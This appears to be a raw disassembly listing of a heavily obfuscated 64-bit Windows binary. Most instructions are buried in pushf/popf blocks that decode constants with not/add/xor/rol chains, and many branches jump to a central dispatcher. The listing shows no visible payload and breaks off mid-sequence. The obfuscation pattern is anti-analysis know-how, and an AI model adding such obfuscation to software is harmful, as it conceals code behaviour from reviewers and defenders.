add eax, 0xa6ec9390
xor eax, 0x8921a2dc
rol eax, 0xea
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0xae3d1837
pushf
not r8d
add r8d, 0x8a77a4b9
xor r8d, 0x92de7a61
rol r8d, 0x96
popf
pushf
not r8d
add r8d, 0xc5e30fc2
xor r8d, 0xa87ed00d
rol r8d, 0xcc
popf
pushf
not r8d
add r8d, 0xa810776b
xor r8d, 0xb13df1f0
rol r8d, 0x16
popf
pushf
not r8d
add r8d, 0xd97a2666
xor r8d, 0x99aa7fd8
rol r8d, 0x22
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
mov r14, qword [rbp - 0x50]
push rax
pushf
mov eax, 0x1b134444
pushf
not eax
add eax, 0xb89ad20a
xor eax, 0x8c7a01e3
rol eax, 0x28
popf
pushf
not eax
add eax, 0xcbe03503
xor eax, 0xfa540ef1
rol eax, 0xe8
popf
jmp 0x1400fdf79
cmp r14, r12
je 0x140100db5
push rax
pushf
mov eax, 0x2e98f2d6
pushf
not eax
add eax, 0xb2642cfe
xor eax, 0xe3be0072
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x99b2f2ef
xor eax, 0x94bf7ba5
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc0b61ea8
xor eax, 0xf721d8eb
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x8433e745
xor eax, 0x987d136a
rol eax, 0xb5
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xb49f85d0
pushf
not eax
add eax, 0xb5573fd2
xor eax, 0xb30b9334
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xc820494c
xor eax, 0xea0bc072
rol eax, 0xb7
popf
jmp 0x1400fdf79
inc ebx
cmp ebx, 0x100
mov eax, 0x148720b4
pushf
not eax
add eax, 0xc530146d
xor eax, 0x959f818d
rol eax, 0x79
popf
pushf
not eax
add eax, 0xd7f8417c
xor eax, 0xa49b8dd5
rol eax, 0x23
popf
pushf
not eax
add eax, 0x96a19563
xor eax, 0xb75cc4fb
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x9733cb9e
xor eax, 0xa0345552
rol eax, 0x8d
popf
jl 0x140100e9d
push rax
pushf
mov eax, 0x7b04d5af
pushf
not eax
add eax, 0x921a0a61
xor eax, 0xa22006bd
rol eax, 0x72
popf
pushf
not eax
add eax, 0xfcec3e8f
xor eax, 0x9d952146
rol eax, 0x84
popf
pushf
not eax
add eax, 0xc525af1f
xor eax, 0xa7b8adb3
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xeb47f127
xor eax, 0xe05b17b5
rol eax, 0xc3
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xe77da81
pushf
not eax
add eax, 0xd37dc193
xor eax, 0xfa3e954a
rol eax, 0x55
popf
pushf
not eax
add eax, 0xc1ee6d47
xor eax, 0xbdfe3d20
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xbfb3a22d
xor eax, 0x83da7496
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xee73ac10
xor eax, 0xa9b1ead4
rol eax, 0x30
popf
jmp 0x1400fdf79
jmp 0x140100ada
mov r13, qword [rbp - 0x30]
lea rax, [r13 + 1]
mov qword [rbp - 0x30], rax
mov rdx, r15
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x140100fc9
push rax
pushf
mov eax, 0x6b67cd80
pushf
not eax
add eax, 0xc870e76a
xor eax, 0xff13ed7b
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xffc2b77f
xor eax, 0xe949dd4d
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xd6dbea5f
xor eax, 0x80038bc2
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x9ae629e8
xor eax, 0xc83f3a05
rol eax, 0xc9
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xf6821bd0
pushf
not eax
add eax, 0xfd835976
xor eax, 0xc3d1c7bf
rol eax, 0x50
popf
pushf
not eax
add eax, 0xaa78c2ce
xor eax, 0xb05d19fd
rol eax, 0x76
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x30]
mov r8d, 0x9f24dcc6
pushf
not r8d
add r8d, 0xa04d9833
xor r8d, 0xdd6764c7
rol r8d, 0x15
popf
pushf
not r8d
add r8d, 0xd1e65c5d
xor r8d, 0xde6ad261
rol r8d, 0x2a
popf
mov rdx, rax
mov rcx, rdi
call fcn.140117d55
push rax
pushf
mov eax, 0xc84174fe
pushf
not eax
add eax, 0xb2652282
xor eax, 0xe363558a
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xbc4735ea
xor eax, 0xccc35751
rol eax, 0x38
popf
pushf
not eax
add eax, 0xe7e969ef
xor eax, 0xc797e4a8
rol eax, 0x44
popf
jmp 0x1400fdf79
mov rdx, rsi
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1401010f2
push rax
pushf
mov eax, 0xd2117004
pushf
not eax
add eax, 0xcedab2a9
xor eax, 0xb0fe687b
rol eax, 0x21
popf
pushf
not eax
add eax, 0xe3346b71
xor eax, 0xc4b601a4
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xa9ba1429
xor eax, 0xbd2bb133
rol eax, 0x17
popf
pushf
not eax
add eax, 0x8a658532
xor eax, 0xa8d44cf3
rol eax, 0x5a
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xdf6fb243
pushf
not eax
add eax, 0x8acacda2
xor eax, 0x9c11ac67
rol eax, 0x44
popf
pushf
not eax
add eax, 0xc308e09a
xor eax, 0xa4cebf1a
rol eax, 0x57
popf
pushf
not eax
add eax, 0xe3636e30
xor eax, 0xd4ee243e
rol eax, 0xdf
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x30]
mov r8d, 0x910c26d3
pushf
not r8d
add r8d, 0xd337b698
xor r8d, 0xee3b766f
rol r8d, 0x85
popf
pushf
not r8d
add r8d, 0xff83fd96
xor r8d, 0xac754246
rol r8d, 0x6b
popf
pushf
not r8d
add r8d, 0xe6c4d6de
xor r8d, 0xf30f303f
rol r8d, 0x4a
popf
pushf
not r8d
add r8d, 0xbc1463db
xor r8d, 0xc1dab935
rol r8d, 0xd0
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
je 0x1401011fb
push rax
pushf
mov eax, 0x41881e57
pushf
not eax
add eax, 0xf8b4ddea
xor eax, 0xd06ddc67
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x80a713d2
xor eax, 0xed9c520e
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x9c4fd7de
xor eax, 0x819164b8
rol eax, 0x83
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xc65b778
pushf
not eax
add eax, 0xa5c80490
xor eax, 0xfa994cb3
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xe735d547
xor eax, 0x84c148c7
rol eax, 0x2c
popf
jmp 0x1400fdf79
mov r14, qword [rbp - 0x30]
xor r12d, r12d
jmp 0x1401012f2
xor r12d, r12d
mov r14d, r12d
push rax
pushf
mov eax, 0x144add34
pushf
not eax
add eax, 0xef15167f
xor eax, 0x8006963d
rol eax, 0x11
popf
pushf
not eax
add eax, 0xfae42c72
xor eax, 0x95c7c3b7
rol eax, 0x35
popf
pushf
not eax
add eax, 0xef873e3c
xor eax, 0xdb1cc0e7
rol eax, 0xab
popf
pushf
not eax
add eax, 0x88c43855
xor eax, 0xbb0c24df
rol eax, 0x7b
popf
jmp 0x1400fdf79
mov qword [rbp - 0x50], r14
lea rdx, [rsi + 8]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x140101360
push rax
pushf
mov eax, 0xe3614294
pushf
not eax
add eax, 0xc8d8d26d
xor eax, 0xfcecca97
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe45b986b
xor eax, 0xce6a7e2b
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe20c2f66
xor eax, 0xae5d6b1e
rol eax, 2
popf
pushf
not eax
add eax, 0x91bec236
xor eax, 0xcc6ef3df
rol eax, 0x11
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x10a27a23
pushf
not eax
add eax, 0x94509be9
xor eax, 0xb912f009
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x8d0139af
xor eax, 0xa212727e
rol eax, 0xd1
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x30]
mov r8d, 0xe69c02f6
pushf
not r8d
add r8d, 0xec14c3d4
xor r8d, 0xed1f49e2
rol r8d, 0x25
popf
pushf
not r8d
add r8d, 0xe2dcf206
xor r8d, 0xd5ebca88
rol r8d, 0x1c
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
mov rbx, qword [rbp - 0x30]
jne 0x140101415
push rax
pushf
mov eax, 0xb63f12e1
pushf
not eax
add eax, 0xfaca50ed
xor eax, 0x85916f67
rol eax, 0x4c
popf
pushf
not eax
add eax, 0x86da30f1
xor eax, 0xee0364df
rol eax, 0x2a
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xe11d0f0b
pushf
not eax
add eax, 0x8a299001
xor eax, 0xba4c1211
rol eax, 0xc
popf
pushf
not eax
add eax, 0xdcc9d9eb
xor eax, 0xd39398b6
rol eax, 0x53
popf
jmp 0x1400fdf79
mov rbx, r12
push rax
pushf
mov eax, 0x64e102fc
pushf
not eax
add eax, 0xfc329d3e
xor eax, 0xd1746d9c
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xa459353a
xor eax, 0xa86a9327
rol eax, 0x9e
popf
jmp 0x1400fdf79
mov qword [rbp - 0x30], rbx
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1401014ec
push rax
pushf
mov eax, 0xe32e113a
pushf
not eax
add eax, 0xd655eb4c
xor eax, 0xe564f0fb
rol eax, 0x25
popf
pushf
not eax
add eax, 0xad50e8ef
xor eax, 0xb35a6f36
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9cc56718
xor eax, 0x91b799cb
rol eax, 0x38
popf
pushf
not eax
add eax, 0x9ac1ee06
xor eax, 0x955af814
rol eax, 0x7b
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x921130e5
pushf
not eax
add eax, 0xd3a4848d
xor eax, 0xaa7f027f
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x885758a7
xor eax, 0xfe1c2ba9
rol eax, 0xfa
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x30]
mov r8d, 0x25f7e09a
pushf
not r8d
add r8d, 0xc87dc144
xor r8d, 0xa61c4bb3
rol r8d, 0x42
popf
pushf
not r8d
add r8d, 0xeadef8b6
xor r8d, 0xb0e7e241
rol r8d, 0x6b
popf
pushf
not r8d
add r8d, 0xc704b5b4
xor r8d, 0xc994536f
rol r8d, 0xbb
popf
mov rdx, rax
mov rcx, rdi
call fcn.140117d55
mov rbx, qword [rbp - 0x30]
push rax
pushf
mov eax, 0x3b06b6df
pushf
not eax
add eax, 0xde6810ba
xor eax, 0xbcdd13b4
rol eax, 0x47
popf
pushf
not eax
add eax, 0xb63362cd
xor eax, 0xd92b2be7
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xefe1c6df
xor eax, 0xd75ef6d5
rol eax, 0xaa
popf
jmp 0x1400fdf79
mov rdx, rbx
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x14010160c
push rax
pushf
mov eax, 0x8eb127d3
pushf
not eax
add eax, 0x95ef977d
xor eax, 0xa6ed6aad
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xbec1f717
xor eax, 0x969cab7e
rol eax, 0x98
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xc8b09177
pushf
not eax
add eax, 0x8a0396f5
xor eax, 0x9a8139a4
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x87ff968b
xor eax, 0xb3f41ad2
rol eax, 0xde
popf
pushf
not eax
add eax, 0xd085a995
xor eax, 0xcb0fb1ed
rol eax, 0xcd
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0x47974204
pushf
not r8d
add r8d, 0x9b96c1e1
xor r8d, 0xd01883df
rol r8d, 0x25
popf
pushf
not r8d
add r8d, 0x885f8351
xor r8d, 0xa0a1df9b
rol r8d, 0x88
popf
pushf
not r8d
add r8d, 0xefaada06
xor r8d, 0xd05abdac
rol r8d, 0xdd
popf
pushf
not r8d
add r8d, 0xcbcd8f1d
xor r8d, 0xec1a829e
rol r8d, 0x17
popf
mov rdx, rax
mov rcx, rdi
call fcn.140117d55
push rax
pushf
mov eax, 0x659bbc4e
pushf
not eax
add eax, 0x9d2b75bc
xor eax, 0x85d78574
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb286e495
xor eax, 0xac1a4ac5
rol eax, 0x7c
popf
jmp 0x1400fdf79
mov ebx, r12d
mov dword [rbp - 0x50], ebx
mov rdx, r13
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x14010176d
push rax
pushf
mov eax, 0x205bda15
pushf
not eax
add eax, 0xbf73a68c
xor eax, 0xdd46d71a
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xb0f3473d
xor eax, 0xb9ee4c3c
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xcc42576b
xor eax, 0xd48ed3fe
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x9b48deba
xor eax, 0x95a362ed
rol eax, 0x96
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x82c4d198
pushf
not eax
add eax, 0xb0b38e5e
xor eax, 0xb2f2e0d0
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf17abcbd
xor eax, 0xace80d5a
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xf1156f08
xor eax, 0x870fc283
rol eax, 0x42
popf
pushf
not eax
add eax, 0x964f76d0
xor eax, 0xa9aaaeed
rol eax, 0x3e
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0x8d2e959e
pushf
not r8d
add r8d, 0x864affdf
xor r8d, 0xdf68a5df
rol r8d, 0xc4
popf
pushf
not r8d
add r8d, 0xbb1961ec
xor r8d, 0xd781dc0a
rol r8d, 0xc6
popf
pushf
not r8d
add r8d, 0xc9454eb0
xor r8d, 0xb5f651ce
rol r8d, 0xd
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
mov ebx, dword [rbp - 0x50]
push rax
pushf
mov eax, 0x82470461
pushf
not eax
add eax, 0xf1921a10
xor eax, 0xf6767a71
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xaca0bae1
xor eax, 0xb0add533
rol eax, 0xd8
popf
jmp 0x1400fdf79
dec ebx
mov dword [rbp - 0x50], ebx
mov rdx, r13
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1401018b8
push rax
pushf
mov eax, 0x573d0806
pushf
not eax
add eax, 0xc66d093e
xor eax, 0x92d0d1df
rol eax, 0x85
popf
pushf
not eax
add eax, 0x876f8b13
xor eax, 0xf7f2b937
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd72feefb
xor eax, 0xa6aec505
rol eax, 0xf
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x8395fefd
pushf
not eax
add eax, 0xb71ebce0
xor eax, 0xf9629bd8
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xf19b15b2
xor eax, 0xea174f5b
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb8f7a6dc
xor eax, 0xcec22535
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x8f467b37
xor eax, 0x95952dce
rol eax, 0x9f
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0x610aeecf
pushf
not r8d
add r8d, 0xe4ec4571
xor r8d, 0x8906b4df
rol r8d, 0xba
popf
pushf
not r8d
add r8d, 0x947f6d9e
xor r8d, 0x9c73ce14
rol r8d, 0x4d
popf
mov rdx, rax
mov rcx, rdi
call fcn.140117d55
push rax
pushf
mov eax, 0x14143d74
pushf
not eax
add eax, 0xba82fb4d
xor eax, 0xc6cdd0d7
rol eax, 6
popf
pushf
not eax
add eax, 0xb5f8836b
xor eax, 0x8d1f7f92
rol eax, 0xb5
popf
jmp 0x1400fdf79
mov word [rbp - 0x50], r12w
lea rdx, [rsi - 0x20]
mov rcx, rdi
call fcn.1400eff88
movabs r14, 0x53e0ee4af63c3c67
pushf
not r14
add r14, 0x41bc30e0
xor r14, 0x42367dee
rol r14, 4
popf
pushf
not r14
add r14, 0x53909df6
xor r14, 0x7525b6d4
rol r14, 0x32
popf
pushf
not r14
add r14, 0x61b53761
xor r14, 0x79e814e3
rol r14, 0xf1
popf
pushf
not r14
add r14, 0x5b1b9d0a
xor r14, 0x44055482
rol r14, 0x66
popf
movabs r15, 0x2998e2f4ed829c90
pushf
not r15
add r15, 0x5c7dc17b
xor r15, 0x53f9dfa2
rol r15, 0x68
popf
pushf
not r15
add r15, 0x61f06ce4
xor r15, 0x73f762f8
rol r15, 0x58
popf
pushf
not r15
add r15, 0x79f5defa
xor r15, 0x76d49912
rol r15, 0x7e
popf
movabs r12, 0xc4b947368f147f93
pushf
not r12
add r12, 0x72bf3dd5
xor r12, 0x7b4d9654
rol r12, 0x78
popf
pushf
not r12
add r12, 0x6dc26043
xor r12, 0x67d8b713
rol r12, 0x9a
popf
movabs r13, 0x9fc0e9e5660ceabf
pushf
not r13
add r13, 0x57f871e6
xor r13, 0x6850fdfc
rol r13, 9
popf
pushf
not r13
add r13, 0x741a79e8
xor r13, 0x64976fd4
rol r13, 0xb0
popf
pushf
not r13
add r13, 0x7975c339
xor r13, 0x6be42a51
rol r13, 0x7b
popf
test rax, rax
je 0x140101b28
push rax
pushf
mov eax, 0x402268d3
pushf
not eax
add eax, 0xd98f467b
xor eax, 0x889f087b
rol eax, 0xef
popf
pushf
not eax
add eax, 0xa3db15fb
xor eax, 0xbaa50d01
rol eax, 0xad
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x88fd3670
pushf
not eax
add eax, 0x869d9d85
xor eax, 0xa9b4463f
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xd8278930
xor eax, 0xe5cf9311
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xf0bbf6ae
xor eax, 0xc3abb3f8
rol eax, 0x30
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0x409b5ba0
pushf
not r8d
add r8d, 0xb98ba9fc
xor r8d, 0xa6c3ab57
rol r8d, 0xce
popf
pushf
not r8d
add r8d, 0x9058f167
xor r8d, 0xe578d5ef
rol r8d, 0xa8
popf
pushf
not r8d
add r8d, 0x9fd30dc6
xor r8d, 0xd7c81792
rol r8d, 0xfd
popf
pushf
not r8d
add r8d, 0xd9e92352
xor r8d, 0x9d336959
rol r8d, 0xb4
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
mov eax, 0x8b13a027
pushf
not eax
add eax, 0xd0ef337b
xor eax, 0xe7f95655
rol eax, 0x58
popf
pushf
not eax
add eax, 0xeeb980c0
xor eax, 0x851b5dfa
rol eax, 0xf1
popf
cmp word [rbp - 0x50], ax
jne 0x140101c5e
push rax
pushf
mov eax, 0xa46cc869
pushf
not eax
add eax, 0x8702b2f1
xor eax, 0x871d9b61
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xde06f353
xor eax, 0xbfbd58a0
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x8576615c
xor eax, 0x845a5d93
rol eax, 0x40
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xadb61bcd
pushf
not eax
add eax, 0xd22976ac
xor eax, 0xc3afb1d2
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc17f8b95
xor eax, 0xd8a933c4
rol eax, 0x84
popf
pushf
not eax
add eax, 0xd04058d6
xor eax, 0xa4df9142
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x969c1cec
xor eax, 0x9fc6f512
rol eax, 0x86
popf
jmp 0x1400fdf79
lea r9, [rsi - 0x20]
mov r8, qword [rsp + 0x30]
mov rcx, rdi
call fcn.14011c150
movabs rbx, 0xbd1e5fa35ffa944d
pushf
not rbx
add rbx, 0x79f7462f
xor rbx, 0x649c16a3
rol rbx, 0x1a
popf
pushf
not rbx
add rbx, 0x6ed5e74e
xor rbx, 0x6203850d
rol rbx, 0xc7
popf
pushf
not rbx
add rbx, 0x605b0993
xor rbx, 0x5a0e54f5
rol rbx, 0xba
popf
pushf
not rbx
add rbx, 0x59d570e6
xor rbx, 0x672f3076
rol rbx, 0x4b
popf
movabs rdi, 0x9ac6c5c0589e823c
pushf
not rdi
add rdi, 0x7bf73f15
xor rdi, 0x4d9e4738
rol rdi, 0x33
popf
pushf
not rdi
add rdi, 0x6640090a
xor rdi, 0x7e8438dc
rol rdi, 0x6e
popf
pushf
not rdi
add rdi, 0x5aa3294f
xor rdi, 0x7bc3c8e2
rol rdi, 0x4d
popf
movabs rsi, 0x877cce5273ebee82
pushf
not rsi
add rsi, 0x59684d22
xor rsi, 0x475182aa
rol rsi, 0xdf
popf
pushf
not rsi
add rsi, 0x6348fc26
xor rsi, 0x57bc5b61
rol rsi, 0x54
popf
pushf
not rsi
add rsi, 0x77674efd
xor rsi, 0x7c15124a
rol rsi, 0xd3
popf
pushf
not rsi
add rsi, 0x63750a7d
xor rsi, 0x77238e0c
rol rsi, 0x24
popf
jmp 0x1401026a6
movabs rax, 0x2310529a70632f1e
pushf
not rax
add rax, 0x516244bf
xor rax, 0x4594d846
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x7bb24d15
xor rax, 0x576135cf
rol rax, 0xb3
popf
pushf
not rax
add rax, 0x7dbc3a0d
xor rax, 0x7dfda0b4
rol rax, 0xe1
popf
mov qword [rsp + 0x40], rax
movabs rax, 0x2fbccfe622a71596
pushf
not rax
add rax, 0x6b222d9d
xor rax, 0x4f3da49c
rol rax, 0x51
popf
pushf
not rax
add rax, 0x5bfa8ed0
xor rax, 0x552bb22e
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x4580228f
xor rax, 0x68ab1eea
rol rax, 0x32
popf
mov qword [rsp + 0x48], rax
movabs rax, 0xb6012df3260f2c3a
pushf
not rax
add rax, 0x76490590
xor rax, 0x4e11b0d7
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x40167f84
xor rax, 0x46345409
rol rax, 0x36
popf
pushf
not rax
add rax, 0x6862b1d7
xor rax, 0x4f8a200b
rol rax, 0xda
popf
pushf
not rax
add rax, 0x663aa2bf
xor rax, 0x7318e843
rol rax, 0xd8
popf
mov qword [rsp + 0x50], rax
movabs rax, 0x856528fe52ac2aab
pushf
not rax
add rax, 0x540a64e3
xor rax, 0x75f75a5b
rol rax, 0x18
popf
pushf
not rax
add rax, 0x53eff905
xor rax, 0x7a076ac7
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x6cfd2a7f
xor rax, 0x7d239e3a
rol rax, 0x8f
popf
mov qword [rsp + 0x58], rax
movabs rax, 0x5280eeaf817c39cb
pushf
not rax
add rax, 0x7639cbbd
xor rax, 0x6b35b246
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x6e5c4744
xor rax, 0x554ddd26
rol rax, 0xe0
popf
mov qword [rsp + 0x60], rax
movabs rax, 0x479348ff4814db58
pushf
not rax
add rax, 0x4a5d0114
xor rax, 0x6adbd9eb
rol rax, 0x78
popf
pushf
not rax
add rax, 0x6483048b
xor rax, 0x58c468d5
rol rax, 0xd6
popf
pushf
not rax
add rax, 0x5cc45f92
xor rax, 0x5f0656eb
rol rax, 0xe1
popf
mov qword [rsp + 0x68], rax
movabs rax, 0x3108522f105f0dd7
pushf
not rax
add rax, 0x646a0d27
xor rax, 0x50db8483
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x5c8b8d40
xor rax, 0x7a846f83
rol rax, 0xa1
popf
pushf
not rax
add rax, 0x782bfede
xor rax, 0x7b88fc53
rol rax, 0x94
popf
pushf
not rax
add rax, 0x74f7f76b
xor rax, 0x7c1e8cfb
rol rax, 0x52
popf
mov qword [rsp + 0x70], rax
movabs rax, 0x171a2e4ef79542cf
pushf
not rax
add rax, 0x755d5aaa
xor rax, 0x52eadc56
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x58cb9e73
xor rax, 0x685f2f8a
rol rax, 0x53
popf
pushf
not rax
add rax, 0x52683646
xor rax, 0x794c066c
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x571a4f81
xor rax, 0x690b2086
rol rax, 0x9e
popf
mov qword [rsp + 0x78], rax
movabs rax, 0xeebca7bb44854bd2
pushf
not rax
add rax, 0x77ff9c09
xor rax, 0x7eaa852e
rol rax, 0xff
popf
pushf
not rax
add rax, 0x5372e68a
xor rax, 0x722e1f14
rol rax, 0x63
popf
pushf
not rax
add rax, 0x76367989
xor rax, 0x7286419d
rol rax, 0xa6
popf
pushf
not rax
add rax, 0x725e92ac
xor rax, 0x6733dea1
rol rax, 0x35
popf
mov qword [rbp - 0x80], rax
movabs rax, 0x2ef972d7fd0ca610
pushf
not rax
add rax, 0x7e739462
xor rax, 0x401d6370
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x71cdef82
xor rax, 0x462aa0b9
rol rax, 0x9e
popf
pushf
not rax
add rax, 0x40a67a66
xor rax, 0x47c3e66d
rol rax, 0x14
popf
mov qword [rbp - 0x78], rax
movabs rax, 0x193dfc5fdb119624
pushf
not rax
add rax, 0x562612ab
xor rax, 0x6c5d7501
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x6d1d61fc
xor rax, 0x597f8b2d
rol rax, 0xb3
popf
pushf
not rax
add rax, 0x74c90102
xor rax, 0x4f50fb84
rol rax, 0xcd
popf
mov qword [rbp - 0x70], rax
movabs rax, 0x318fab55e463e62a
pushf
not rax
add rax, 0x45c62518
xor rax, 0x648f2230
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x752c99d4
xor rax, 0x6aa7d41d
rol rax, 0x25
popf
mov qword [rbp - 0x68], rax
movabs rax, 0xe5e98fd63219c356
pushf
not rax
add rax, 0x6bcc4599
xor rax, 0x6d6fc48b
rol rax, 0x61
popf
pushf
not rax
add rax, 0x568022c7
xor rax, 0x541ed216
rol rax, 0xb4
popf
mov qword [rbp - 0x60], rax
movabs rax, 0xdcbf1a7a16c4887b
pushf
not rax
add rax, 0x572cff8f
xor rax, 0x6ae47f39
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x7eeda89d
xor rax, 0x6f407318
rol rax, 0x18
popf
mov qword [rbp - 0x58], rax
movabs rdi, 0x788158bfd28b960d
pushf
not rdi
add rdi, 0x487a5686
xor rdi, 0x562adf13
rol rdi, 0x1b
popf
pushf
not rdi
add rdi, 0x728444e2
xor rdi, 0x6a076fdc
rol rdi, 7
popf
pushf
not rdi
add rdi, 0x51cf3e68
xor rdi, 0x7f1d4740
rol rdi, 0x86
popf
pushf
not rdi
add rdi, 0x4aa1d66c
xor rdi, 0x513166f6
rol rdi, 0x3e
popf
mov qword [rbp - 0x10], rdi
movabs rbx, 0xd8b905225e4a7baa
pushf
not rbx
add rbx, 0x74879aa3
xor rbx, 0x6a5ad8a6
rol rbx, 0x9c
popf
pushf
not rbx
add rbx, 0x5c50020b
xor rbx, 0x75abc1b6
rol rbx, 0x71
popf
mov qword [rbp - 8], rbx
movabs rax, 0xf5f9491c16ca259
pushf
not rax
add rax, 0x62a4b21e
xor rax, 0x4f97079f
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x4488a937
xor rax, 0x7b2321b0
rol rax, 7
popf
mov qword [rbp], rax
movabs rsi, 0x1eaa1c3792e7f204
pushf
not rsi
add rsi, 0x43f14bc0
xor rsi, 0x61200827
rol rsi, 0xe5
popf
pushf
not rsi
add rsi, 0x7e746884
xor rsi, 0x6594050f
rol rsi, 0x84
popf
pushf
not rsi
add rsi, 0x5b9da638
xor rsi, 0x57932272
rol rsi, 0x45
popf
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r13
movabs rax, 0xb2f4e096aeeb7e80
pushf
not rax
add rax, 0x4e54d12b
xor rax, 0x58f89c2d
rol rax, 0x3b
popf
pushf
not rax
add rax, 0x6e7d7821
xor rax, 0x6f4b154a
rol rax, 0x45
popf
pushf
not rax
add rax, 0x515f5e23
xor rax, 0x6283acd1
rol rax, 0x6e
popf
mov qword [rbp + 0x30], rax
movabs rax, 0x2010e3adabe01e60
pushf
not rax
add rax, 0x75f3fef3
xor rax, 0x79ba0456
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x589583ce
xor rax, 0x4065cffb
rol rax, 0x1a
popf
pushf
not rax
add rax, 0x60521374
xor rax, 0x4c9af007
rol rax, 0xa2
popf
mov qword [rbp + 0x38], rax
movabs rax, 0x1d614391c7c4ccbf
pushf
not rax
add rax, 0x54712b87
xor rax, 0x48542dce
rol rax, 0x78
popf
pushf
not rax
add rax, 0x4c6ce45b
xor rax, 0x4765ea11
rol rax, 0x31
popf
pushf
not rax
add rax, 0x53b33d65
xor rax, 0x68a5d9e3
rol rax, 0xcf
popf
mov qword [rbp + 0x40], rax
movabs rax, 0xe9423afaeccb7742
pushf
not rax
add rax, 0x7119e100
xor rax, 0x6849bfce
rol rax, 0xfa
popf
pushf
not rax
add rax, 0x568e6139
xor rax, 0x5b98704f
rol rax, 0x7d
popf
mov qword [rbp + 0x48], rax
movabs rax, 0x9d942b8e44434ab9
pushf
not rax
add rax, 0x41299129
xor rax, 0x7d7200f9
rol rax, 0xa
popf
pushf
not rax
add rax, 0x47e855b0
xor rax, 0x5604aa48
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x5698d25e
